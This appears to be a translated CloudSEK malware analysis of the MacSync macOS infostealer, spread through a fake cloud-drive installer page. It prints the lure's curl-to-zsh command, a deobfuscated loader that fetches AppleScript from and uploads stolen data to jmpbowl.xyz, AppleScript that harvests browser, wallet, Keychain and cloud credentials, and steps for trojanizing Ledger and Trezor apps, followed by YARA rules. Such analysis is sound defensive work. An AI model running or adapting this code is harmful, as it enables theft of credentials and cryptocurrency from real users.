🚀 A CloudSEK se torna a primeira empresa de segurança cibernética de origem indiana a receber investimentos da Estado dos EUA fundo
Leia mais

A busca rotineira de ameaças em um domínio de phishing que imita uma página de login da Microsoft (crosoftonline.com/login.srf) revelou uma série de redirecionamentos que levam a https://macclouddrive.com/s2/, uma atração sofisticada no estilo ClickFix disfarçada de um instalador legítimo de armazenamento em nuvem do macOS. A página coagiu os usuários a copiar e colar um comando enganoso do Terminal, provocando a infecção do Ladrão de informações do MacSync, uma ferramenta econômica de malware como serviço (MaaS) derivada da versão anterior Ladrão de Mac..
O MacSync utiliza um design centrado em scripts de vários estágios: um programador Zsh daemonizado recupera e executa uma carga útil remota do AppleScript que coleta sistematicamente credenciais do navegador, dados da carteira de criptomoedas, conteúdo do Keychain e arquivos confidenciais após phishing da senha do sistema macOS da vítima por meio de diálogos falsos repetidos. Para maior longevidade, ele trojaniza condicionalmente os aplicativos de criptomoeda baseados em Electron amplamente usados, substituindo seletivamente os componentes críticos do pacote (app.asar e Info.plist), aproveitando a ausência de validação forçada de integridade do ASAR e da reassinatura de código ad hoc.
Os recursos da infraestrutura de suporte pelo menos oito domínios C2 rotativos seguindo um padrão de nomenclatura consistente, cada um vinculado a tokens de construção exclusivos. Vários caminhos variantes (/v1—/v3) no domínio de atração primário, junto com pelo menos cinco sites de clones estreitamente relacionados compartilhar modelos quase idênticos indica a evolução ativa da campanha e a reutilização da infraestrutura. Este relatório fornece uma reversão profunda de toda a cadeia de infecções, desde a entrega de engenharia social e a mecânica de carga útil até a trojanização baseada em elétrons, que permite a persistência de longo prazo e interfaces de phishing altamente convincentes para frases e PINs de recuperação, abordando lacunas na cobertura existente e fornecendo indicadores acionáveis de comprometimento, juntamente com orientações de detecção e mitigação.
Durante a realização de pesquisas rotineiras sobre ameaças à infraestrutura de phishing, uma tentativa de acessar crosoftonline.com/login.srf, um domínio claramente projetado para se passar por uma página de autenticação da Microsoft, desencadeou uma cadeia de redirecionamentos HTTP que acabou chegando https://macclouddrive.com/s2/. A página de destino imediatamente se destacou como um exemplo clássico de uma isca de engenharia social no estilo ClickFix. Projetado para se parecer com um portal de download legítimo para um aplicativo de armazenamento em nuvem do macOS, ele apresentava instruções detalhadas pedindo aos usuários que abrissem o Terminal e colassem um comando fornecido para concluir a instalação. A inclusão de uma mensagem reconfortante que imita um link oficial do instalador da App Store, combinada com orientações passo a passo sobre o lançamento do Terminal, levantou suspeitas imediatas.
As campanhas ClickFix se tornaram um dos mecanismos de entrega mais eficazes para ladrões de informações direcionados ao macOS nos últimos anos. Ao convencer as vítimas a executar voluntariamente comandos maliciosos do shell, os atacantes ignoram completamente o Gatekeeper, as verificações de notarização e a verificação de assinaturas — proteções que tornam a distribuição tradicional baseada em DMG ou PKG muito mais arriscada. Essa atração em particular seguiu o padrão com precisão: uma linha simples aparentemente benigna que, após uma inspeção mais detalhada, buscava e executava código remoto de um domínio controlado pelo atacante.
O comando apontava para a infraestrutura associada ao MacSync, um ladrão de informações observado pela primeira vez como uma versão rebatizada e aprimorada do antigo ladrão de Mac.c, desenvolvido sob o pseudônimo “mentalpositive”. Comercializado como uma oferta acessível de malware como serviço em fóruns clandestinos, o MacSync ganhou força entre afiliados de nível inferior devido ao seu baixo preço, design modular e forte foco em dados relacionados a criptomoedas. Ao contrário de concorrentes de alto perfil, como o Atomic Stealer (AMOS), o MacSync enfatiza a execução baseada em scripts com persistência opcional por meio da trojanização de aplicativos direcionados, tornando-o particularmente furtivo em sistemas macOS.
Este relatório documenta uma reversão técnica completa da variante de campanha observada. A análise foi realizada por meio da desofuscação manual da carga útil de entrega, recuperação e dissecação seguras do núcleo remoto do AppleScript, exame controlado do comportamento de exfiltração e inspeção detalhada dos pacotes de aplicativos Electron trojanizados. Atenção especial é dada ao mecanismo de persistência, uma área frequentemente ignorada ou mal compreendida nos relatórios públicos existentes que explora fraquezas específicas nas ferramentas de criptomoeda baseadas em elétrons, predominantes entre os usuários do macOS. O objetivo é fornecer aos defensores uma referência definitiva sobre essa ameaça, incluindo indicadores acionáveis e estratégias de detecção que vão além das observações no nível da superfície.
O processo de infecção depende da engenharia social que explora a confiança do usuário nos fluxos de trabalho de instalação do macOS. As vítimas são direcionadas para a página de atração https://macclouddrive.com/s2/ geralmente por meio de cadeias de redirecionamento de phishing ou domínios comprometidos. Nesse caso, a cadeia começou com crosoftonline.com/login.srf , um site falsificando uma página de autenticação da Microsoft.
A página inicial foi meticulosamente projetada para aparecer como um portal de download legítimo para uma ferramenta de armazenamento em nuvem do macOS. Ele usa uma interface escura e moderna com um cabeçalho proeminente “Download para macOS” e um selo de “Editor verificado” para criar credibilidade. Uma seção dedicada à “Instalação do terminal” é voltada para “usuários avançados”, apresentando um único comando como uma alternativa conveniente aos downloads tradicionais.

A página fornece instruções explícitas: abra o Spotlight, inicie o Terminal, cole o comando e insira a senha do dispositivo quando solicitado. Um botão verde “Copiar” garante que a carga seja colocada instantaneamente na prancheta. A visualização do código-fonte revela vários comentários em HTML em russo, oferecendo pistas circunstanciais sobre o histórico do desenvolvedor.

A enumeração de diretórios no domínio expôs caminhos paralelos (/v1/, /v2/, /v3/) que hospedam páginas quase idênticas, diferindo principalmente no domínio de back-end e token usados — evidências de testes e rotação contínuos da campanha.
O comando apresentado à vítima é:
echo "Apple-Installer: https://apps.apple.com/hidenn-gift.application/macOsAppleApicationSetup421415.dmg" && curl -kfsSL $(echo 'aHR0cDovL2ptcGJvd2wueHl6L2N1cmwvODlhMjI5ZjlhNzNjZmZjNjcwODlmMzg4YzZjMTJmM2Y5ZDgwZTdhZTJjMzI3NDVjZDUyMTI0MjFhODljM2U1MA=='|base64 -D)|zshEste one-liner funciona da seguinte forma:
A carga útil recuperada de http://jmpbowl[.]xyz/curl/89a229f9a73cffc67089f388c6c12f3f9d80e7ae2c32745cd5212421a89c3e50 (ou tokens similares em outras variantes) não é o infostealer final em si, mas um carregador de segundo estágio compacto e ofuscado escrito em Zsh. O único propósito desse script é buscar, executar e extrair dados da verdadeira carga principal, o AppleScript remoto, mantendo-se o mais leve e discreto possível.
O arquivo baixado é um pequeno script Zsh que emprega um método de ofuscação simples, mas eficaz:

Após a descompressão, o script limpo é revelado como uma função única e bem estruturada com daemonização e lógica de comunicação C2. O script desofuscado define uma função chamada daemon_function () e a executa imediatamente em segundo plano:
#!/bin/zsh
daemon_function() {
exec </dev/null
exec >/dev/null
exec 2>/dev/null
local domain="jmpbowl.xyz"
local token="70c0ee60591fed92b387ddd77122f3f5e88ae946efdd5eef8aa654cf156ed321"
local api_key="5190ef1733183a0dc63fb623357f56d6"
if [ $# -gt 0 ]; then
curl -k -s --max-time 30 -H "User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36" -H "api-key: $api_key" "http://$domain/dynamic?txd=$token&pwd=$1" | osascript
else
curl -k -s --max-time 30 -H "User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36" -H "api-key: $api_key" "http://$domain/dynamic?txd=$token" | osascript
fi
if [ $? -ne 0 ]; then
exit 1
fi
curl -k -X POST \
-H "User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36" \
-H "api-key: $api_key" \
-H "cl: 0" \
--max-time 300 \
-F "file=@/tmp/osalogging.zip" \
-F "buildtxd=$token" \
"http://$domain/gate"
if [ $? -ne 0 ]; then
exit 1
fi
rm -f /tmp/osalogging.zip
}
if daemon_function "$@" & then
exit 0
else
exit 1
fiComportamentos principais:
Esse intermediário é deliberadamente mínimo — sua única função é atuar como uma ponte confiável e dinâmica entre o comprometimento inicial e o núcleo remoto e atualizável do AppleScript. Ao manter o trabalho pesado no lado do servidor, os atores podem modificar rapidamente alvos de roubo, solicitações de phishing ou lógica de persistência sem alterar o vetor de entrega. O uso de um token exclusivo por construção também permite o rastreamento refinado das vítimas e a personalização da carga útil.
Os mecanismos reais de roubo de dados, phishing de senhas e persistência são implementados inteiramente no AppleScript obtido em /dynamic
O verdadeiro mecanismo de roubo de dados do MacSync é a carga útil do AppleScript obtida de http://jmpbowl.xyz/dynamic?txd = <token> e executado na memória pelo estagiador Zsh usando osascript. Essa carga útil é fornecida como AppleScript de texto simples não compactado e é altamente modular, contando com uma série de manipuladores personalizados para realizar operações de arquivos, percorrer diretórios e coletar dados.
O script cria imediatamente um diretório de teste temporário em /tmp/osalogging e grava metadados de identificação própria para ajudar o atacante a rastrear construções e vítimas.

Essas linhas confirmam a compatibilidade do nome, versão e arquitetura do ladrão, facilitando a atribuição durante a análise forense.
A primeira prioridade da carga é obter a senha de login do macOS da vítima — a chave necessária para a decodificação offline dos dados do navegador e do Keychain.

Esse phishing persistente é altamente eficaz porque muitos usuários acabarão concordando em ignorar a caixa de diálogo de bloqueio.
O script define várias funções utilitárias para lidar com operações de arquivos e diretórios com segurança:

Depois que a senha do sistema é falsificada e armazenada com sucesso, a carga útil do AppleScript prossegue com seu objetivo principal: exfiltrar sistematicamente dados relacionados a criptomoedas e ricos em credenciais da máquina da vítima. O roubo é altamente direcionado, priorizando locais conhecidos por conter sementes de carteira, chaves privadas, senhas armazenadas no navegador e outros segredos de alto valor.
O script usa dois manipuladores principais de cópia recursiva:
A carga útil visa explicitamente uma ampla variedade de navegadores derivados do Chromium enumerando seus diretórios de suporte padrão em ~/Library/Application Support/.
set homePath to (POSIX path of (path to home folder))
set lootPath to "/tmp/osalogging"
-- Google Chrome
set chromePath to homePath & "Library/Application Support/Google/Chrome"
if isDirectory(chromePath) then GrabFolder(chromePath, lootPath & "/Browsers/Chrome")
-- Brave
set bravePath to homePath & "Library/Application Support/BraveSoftware/Brave-Browser"
if isDirectory(bravePath) then GrabFolder(bravePath, lootPath & "/Browsers/Brave")
-- Microsoft Edge
set edgePath to homePath & "Library/Application Support/Microsoft Edge"
if isDirectory(edgePath) then GrabFolder(edgePath, lootPath & "/Browsers/Edge")
-- Opera
set operaPath to homePath & "Library/Application Support/com.operasoftware.Opera"
if isDirectory(operaPath) then GrabFolder(operaPath, lootPath & "/Browsers/Opera")
-- Vivaldi
set vivaldiPath to homePath & "Library/Application Support/Vivaldi"
if isDirectory(vivaldiPath) then GrabFolder(vivaldiPath, lootPath & "/Browsers/Vivaldi")
-- Arc
set arcPath to homePath & "Library/Application Support/Arc"
if isDirectory(arcPath) then GrabFolder(arcPath, lootPath & "/Browsers/Arc")
-- Yandex
set yandexPath to homePath & "Library/Application Support/Yandex/YandexBrowser"
if isDirectory(yandexPath) then GrabFolder(yandexPath, lootPath & "/Browsers/Yandex")
-- Additional browsers follow the same patternCada chamada usa grabFolder () para copiar recursivamente todo o perfil, incluindo:
Esses arquivos são criptografados com a chave mestra armazenada no Keychain, que os invasores podem descriptografar offline usando a senha do sistema phishing.
A carga contém uma extensa lista codificada de IDs de extensões de carteira web3 populares. Ele visa especificamente seus diretórios de armazenamento local em vários perfis de navegador, pois eles geralmente contêm frases iniciais, chaves privadas ou dados de carteira criptografados.
set extensionList to {
"nkbihfbeogaeaoehlefnkodbefgpgknn", -- MetaMask
"bfnaelmomeimhlpmgjnjophhpkkoljpa", -- Phantom
"fhbohimaelbohpjbbldcngcnapndodjp", -- Binance Wallet
"hpglfhgfnhgaekcpchabkighjkkpcoel", -- Coinbase Wallet
"jbdaocneiiinmjbjlgalhcelgbejmnid", -- Nifty Wallet
"nlbmnnijcnlegkjjpcfjclmcfggfefdm", -- Math Wallet
"fnjhmkhhmkbjkkabndcnnogagogbneec", -- Ronin Wallet
"acmacodkjbdgmoleebolmdjonilkdbch", -- Petra Aptos Wallet
"ejjladinnckdgjemekebdpeokbikhfci", -- Martify
"odbfpeeihdkbihmopkbjmoonncgnfmki", -- Yoroi
"ffnbelpacgohhkmgcbabjjdlimohknok", -- Solflare
"cjelfplplebdjjenllpjcblmjkfcffne", -- Keplr
"dmkamcknogkgcdfhhbddcghigpehhfne", -- Trust Wallet
"egjidj
bpglichdcondbcbdnbeeppgdph", -- TezBox
"aegclgcmcpnpjbjgcadkecobipieijca", -- Terra Station
"aiifbnbfobpmeekipheeijimdpnlpgpp", -- Tezos Wallet
"oogfpfmjhkaemefggfgjfeoaeccefhjm", -- BitKeep
"kncchdigobghenbbaddojjnnaogfppfj", -- iWallet
"aeachknmefphepccionboohookonhcek", -- Coin98
"pdadjkfkgcafgbceimcefhgfgnjbpmn", -- OKX Wallet
"mfgccjchihfkkindfppnaooecgfneiii", -- Exodus Web3 Wallet
"aholpfdialjgjfhomihkjbmgjidlcdno", -- TronLink
"ibnejdfjmmkpcnlpebklmnkoeoihofec", -- Tonkeeper
"nphplpgoakhhjchkkhmiggakijnkhfnd", -- XDEFI Wallet
"acmhbjkofeedfklnjcegkkepfmidnldk", -- Braavos
"jnlgamecbpmbajjfhmmmlhejkemejdap", -- Enkrypt
-- Additional IDs for less common wallets
}O ciclo de extração:
repeat with extID in extensionList
set extPaths to {
chromePath & "/Default/Local Extension Settings/" & extID,
chromePath & "/Profile 1/Local Extension Settings/" & extID, -- Multi-profile support
bravePath & "/Default/Local Extension Settings/" & extID,
-- Repeated for other browsers
}
repeat with extPath in extPaths
if isDirectory(extPath) then
GrabFolder(extPath, lootPath & "/Extensions/" & extID)
end if
end repeat
end repeat
<SNIP>
Muitas extensões de carteira armazenam dados confidenciais (incluindo frases iniciais criptografadas) no IndexedDB ou LevelDB sob esses caminhos. Combinado com a senha de phishing, os invasores geralmente conseguem recuperar carteiras cheias.
A carga útil executa cópias recursivas completas de diretórios conhecidos de carteiras de desktop:
-- Exodus
set exodusPath to homePath & "Library/Application Support/Exodus"
if isDirectory(exodusPath) then GrabFolder(exodusPath, lootPath & "/Wallets/Exodus")
-- Electrum
set electrumPath to homePath & "Library/Application Support/Electrum"
if isDirectory(electrumPath) then GrabFolder(electrumPath, lootPath & "/Wallets/Electrum")
-- Atomic Wallet
set atomicPath to homePath & "Library/Application Support/atomic"
if isDirectory(atomicPath) then GrabFolder(atomicPath, lootPath & "/Wallets/Atomic")
-- Guarda
set guardaPath to homePath & "Library/Application Support/Guarda"
if isDirectory(guardaPath) then GrabFolder(guardaPath, lootPath & "/Wallets/Guarda")
-- Wasabi
set wasabiPath to homePath & "Library/Application Support/Wasabi"
if isDirectory(wasabiPath) then GrabFolder(wasabiPath, lootPath & "/Wallets/Wasabi")
-- Bitcoin Core
set bitcoinPath to homePath & ".bitcoin"
if isDirectory(bitcoinPath) then GrabFolder(bitcoinPath, lootPath & "/Wallets/BitcoinCore")
-- Binance
set binancePath to homePath & "Library/Application Support/Binance"
if isDirectory(binancePath) then GrabFolder(binancePath, lootPath & "/Wallets/Binance")
<snip>
-- TON Keeper
set tonPath to homePath & "Library/Application Support/TON"
if isDirectory(tonPath) then GrabFolder(tonPath, lootPath & "/Wallets/TONKeeper")
Esses diretórios geralmente contêm arquivos wallet.dat, backups iniciais ou arquivos criptografados de armazenamento de chaves — geralmente os alvos mais valiosos para o roubo de criptomoedas.
Esse nível de segmentação demonstra o foco claro do MacSync nos usuários de criptomoedas, tornando-o particularmente perigoso para a comunidade criptográfica do macOS.
O script copia diretamente todo o diretório do Keychain:
do shell script "cp -r " & quoted form of (homePath & "/Library/Keychains/") & space & quoted form of (lootPath & "/Keychain/")Isso captura todos os arquivos correspondentes a ~/Library/keychains/*.keychain-db, incluindo o login.keychain-db primário. Esses bancos de dados SQLite armazenam senhas para redes Wi-Fi, aplicativos, sites, certificados e notas seguras. Com a senha do sistema phishing, os invasores podem desbloquear e extrair tudo offline usando ferramentas como chainbreaker ou scripts personalizados.
Arquivos de desenvolvimento e configuração de nuvem
-- SSH keys and config
set sshPath to homePath & ".ssh"
if isDirectory(sshPath) then GrabFolder(sshPath, lootPath & "/SSH")
-- AWS credentials
set awsPath to homePath & ".aws"
if isDirectory(awsPath) then GrabFolder(awsPath, lootPath & "/AWS")
-- Kubernetes config
set kubePath to homePath & ".kube"
if isDirectory(kubePath) then GrabFolder(kubePath, lootPath & "/Kubernetes")
<snip>
Esses diretórios geralmente contêm chaves SSH privadas (id_rsa, id_ed25519), chaves de acesso da AWS (credenciais, configuração) e configurações de cluster do Kubernetes (config). Esses arquivos permitem o movimento lateral ou o comprometimento dos recursos da nuvem.
Dados da sessão do Telegram
et telegramPath to homePath & "Library/Application Support/Telegram"
if isDirectory(telegramPath) then GrabFolder(telegramPath & "/tdata", lootPath & "/Telegram/tdata")A pasta tdata do Telegram armazena arquivos de sessão ativos, permitindo que os invasores importem a sessão em seu próprio dispositivo e se façam passar pela vítima sem precisar reautenticar.
Banco de dados Apple Notes
set notesPath to homePath & "Library/Group Containers/group.com.apple.notes"
if isDirectory(notesPath) then GrabFolder(notesPath, lootPath & "/AppleNotes")O banco de dados do aplicativo Notes geralmente contém informações confidenciais, como frases de recuperação, senhas ou detalhes financeiros pessoais armazenados como notas em texto simples.
GrabFolderLimit(homePath & "Desktop", lootPath & "/Files/Desktop")
GrabFolderLimit(homePath & "Documents", lootPath & "/Files/Documents")
GrabFolderLimit(homePath & "Downloads", lootPath & "/Files/Downloads")Embora o código fornecido use GrabFolderLimit sem filtragem explícita no trecho visível, o design geral (combinado com listas de exceções e limite de tamanho) prioriza os arquivos que provavelmente contêm:
O limite de 100 MB garante que o arquivo permaneça carregável e, ao mesmo tempo, capture descobertas oportunistas de alto valor. Essa estratégia de coleta exaustiva reflete o foco do MacSync em maximizar o rendimento dos usuários de criptomoedas, onde até mesmo um único arquivo de frase inicial ou chave privada negligenciado pode resultar em perdas financeiras significativas.
O MacSync eleva infecções selecionadas de roubo único de dados para longo prazo, phishing de criptomoedas de alto rendimento ao trojanizar condicionalmente dois populares aplicativos complementares de carteiras de hardware baseados em Electron. Esse mecanismo é ativado somente quando os aplicativos legítimos são detectados em /Applications/, garantindo que ele permaneça silencioso em sistemas não alvo e, ao mesmo tempo, transforme software confiável em plataformas de ataque persistente em máquinas pertencentes a usuários de criptomoedas.
A trojanização é realizada inteiramente pela carga útil do AppleScript após a coleta inicial de dados, usando comandos diretos do shell para baixar pacotes maliciosos, manipular os diretórios do aplicativo e aplicar alterações mínimas na assinatura de código.
O script começa com verificações de existência simples:
-- Ledger Wallet.app
try
do shell script "test -d /Applications/Ledger Wallet.app"
set ledger_installed to true
on error
set ledger_installed to false
end try
-- Trezor Suite.app
try
do shell script "test -d /Applications/Trezor Suite.app"
set trezor_installed to true
on error
set trezor_installed to false
end tryEssa lógica condicional visa apenas sistemas com software de carteira de hardware instalado, maximizando o impacto e reduzindo o risco de detecção em máquinas não relacionadas. Quando o aplicativo Ledger está presente, a carga útil emprega uma técnica sofisticada de substituição parcial para manter a discrição e a funcionalidade:
if ledger_installed then
try
-- Download malicious ZIP containing only modified files
do shell script "curl -k ... 'https://jmpbowl.xyz/ledger/<token>' -o /tmp/<token>.zip"
do shell script "unzip -q -o /tmp/<token>.zip -d /tmp"
-- Backup legitimate app
do shell script "cp -rf /Applications/Ledger Wallet.app /tmp/Ledger Wallet.app.backup"
do shell script "rm -rf /Applications/Ledger Wallet.app"
do shell script "mv /tmp/Ledger Wallet.app.backup /Applications/Ledger Wallet.app"
-- Overwrite only critical malicious components
do shell script "mv /tmp/app.asar /Applications/Ledger Wallet.app/Contents/Resources/app.asar"
do shell script "mv /tmp/Info.plist /Applications/Ledger Wallet.app/Contents/Info.plist"
-- Apply ad-hoc signing to bypass basic checks
do shell script "codesign -f -d -s - /Applications/Ledger Wallet.app"
end try
end ifA abordagem para o Trezor Suite é uma substituição mais direta e completa do pacote:
if trezor_installed then
try
-- Terminate running processes
do shell script "killall -9 'Trezor Suite'"
-- Download full malicious application bundle
do shell script "curl -k ... 'https://jmpbowl.xyz/trezor/<token>' -o /tmp/<token>.zip"
do shell script "unzip -q -o /tmp/<token>.zip -d /tmp"
-- Replace legitimate app entirely
do shell script "rm -rf /Applications/Trezor Suite.app"
do shell script "cp -R /tmp/Trezor Suite.app /Applications/"
-- Cleanup
do shell script "rm -rf /tmp/<token>.zip /tmp/Trezor Suite.app"
end try
end ifTodas as instâncias em execução são encerradas à força. O aplicativo legítimo é excluído e substituído por um pacote malicioso completo baixado do C2. Nenhuma dança de backup/restauração é necessária, pois todo o aplicativo é controlado pelo atacante.
O objetivo principal de ambos os aplicativos trojanizados é apresentar um assistente de phishing convincente em várias etapas que captura PINs do dispositivo e frases de recuperação completas sob o pretexto de “corrigir” um problema de software ou firmware.
O fluxo consiste em três páginas principais, imitando perfeitamente a interface oficial:
Etapa 1: Introdução ao erro (recovery-step-1.html)

Essa tela apresenta um título calmante que diz “Algo deu errado...” seguido por um texto tranquilizador: “Mas não se preocupe! Seus ativos criptográficos são seguros e acessíveis. Pode ter ocorrido um erro durante uma atualização de software ou firmware. Podemos corrigir isso facilmente em algumas etapas simples. Vamos começar!” A ilustração de um dispositivo de hardware com uma seta em loop reforça a ideia de uma falha temporária. Um proeminente “OK, estou pronto!” O botão leva o usuário para o próximo estágio, diminuindo as defesas ao enfatizar a segurança e a simplicidade.
Etapa 2 — Entrada de PIN (recovery-step-2.html)

Uma barra de progresso marca isso como etapa “2 PIN”. A interface apresenta uma grade de dígitos interativa na qual os usuários selecionam números para “inserir” e “confirmar” seu PIN, com instruções: “Pressione o botão esquerdo ou direito para alterar os dígitos. Uma maquete visual do dispositivo com botões destacados aparece ao lado, replicando de perto a experiência real de hardware. Depois de confirmado, o botão “Próxima etapa” avança.
Etapa 3 — Entrada da frase de recuperação (recovery-step-3.html)
Marcada como etapa “FRASE DE RECUPERAÇÃO 3” na barra de progresso, essa tela exibe um aviso claro: “Digite sua frase de recuperação”. O texto de apoio explica: “Sua frase de recuperação é a lista secreta de palavras que você salvou quando configurou seu dispositivo Ledger pela primeira vez. O Ledger não guarda uma cópia da sua frase de recuperação.” Vinte e quatro campos de entrada numerados são organizados em uma grade, permitindo a entrada palavra por palavra. Um botão “Recuperar” envia o formulário depois de concluído.
O suporte a JavaScript no pacote captura todas as entradas dessas páginas e as exfiltra — seja por meio de canais IPC personalizados para o processo principal do Electron ou solicitações diretas de rede para a infraestrutura do invasor. As modificações adicionais observadas nos pacotes extraídos incluem anúncios injetados do provedor EIP-6963 para sequestro de DApp e trabalhadores de criptografia capazes de ajustar chaves ou manipular assinaturas.

Ao integrar esse assistente de phishing a aplicativos nos quais os usuários já confiam para gerenciar carteiras de hardware, o MacSync cria um mecanismo de persistência excepcionalmente enganoso. As vítimas podem inserir suas credenciais semanas ou meses após a infecção inicial, acreditando que estão simplesmente resolvendo um problema legítimo com o software da carteira. Depois que a frase de recuperação é capturada, a segurança física do dispositivo de hardware se torna irrelevante.
O MacSync prova que, no macOS, o malware mais perigoso não é aquele que explora um dia zero, é aquele que explora a confiança. Um único comando do Terminal colado transforma um usuário criptográfico cauteloso em vítima, entregando senhas, carteiras e, eventualmente, sua frase de recuperação por meio de aplicativos nos quais eles já usam diariamente.
Ao abusar dos pontos fracos e da trojanização condicional do Electron, o MacSync alcança uma persistência que é ao mesmo tempo furtiva e devastadora. A infraestrutura rotativa do jmpbowl.* e os sites de atração de clones mostram que isso não é uma operação única: é uma operação contínua e amigável para afiliados, criada sob medida.
No final das contas, a melhor defesa continua simples, mas difícil: nunca cole comandos aleatórios no Terminal, por mais “oficiais” que pareçam. Porque uma vez que você faz isso, você não está consertando seu Mac. Você está sincronizado com o MacSync.

Os seguintes indicadores técnicos estão associados a essa campanha e podem ser usados para detecção e bloqueio.
Regra 1: Detecção de carga útil do AppleScript no MacSync
rule MacSync_AppleScript_Stealer
{
meta:
description = "Detects MacSync infostealer AppleScript payload"
author = "WaterBucket"
date = "2025-12-16"
reference = "MacSync Technical Analysis"
strings:
$s1 = "MacSync Stealer" ascii
$s2 = "osalogging.zip" ascii
$s3 = "Enter your system password to continue verification" ascii
$s4 = "GrabFolderLimit" ascii
$s5 = "jmpbowl.xyz" ascii
$ext1 = "nkbihfbeogaeaoehlefnkodbefgpgknn" ascii // MetaMask extension ID
$ext2 = "bfnaelmomeimhlpmgjnjophhpkkoljpa" ascii // Phantom
condition:
4 of ($s*) or all of ($ext*)
}Regra 2: Arquivos Trojanizados do Ledger Wallet.app
rule MacSync_Trojanized_Ledger
{
meta:
description = "Detects known malicious files from trojanized Ledger Wallet.app"
author = "Waterbucket"
date = "2025-12-16"
condition:
hash.sha256(0, filesize) == "ec6bc84be18ce4cb55fb915370c00f2a836ffefc65c6b728efb8d2d28036e376" or // app.asar
hash.sha256(0, filesize) == "c99dea85f0ef8d3e2f3771c8ebd02d7dee0d90efc5c8392e5c266a59640a4206" // Info.plist
}https://moonlock.com/macc-stealer-macsync
https://www.broadcom.com/support/security-center/protection-bulletin/macsync-stealer-malware
https://exchange.xforce.ibmcloud.com/osint/guid:1fe278fd06404638a50bf7b126f9075c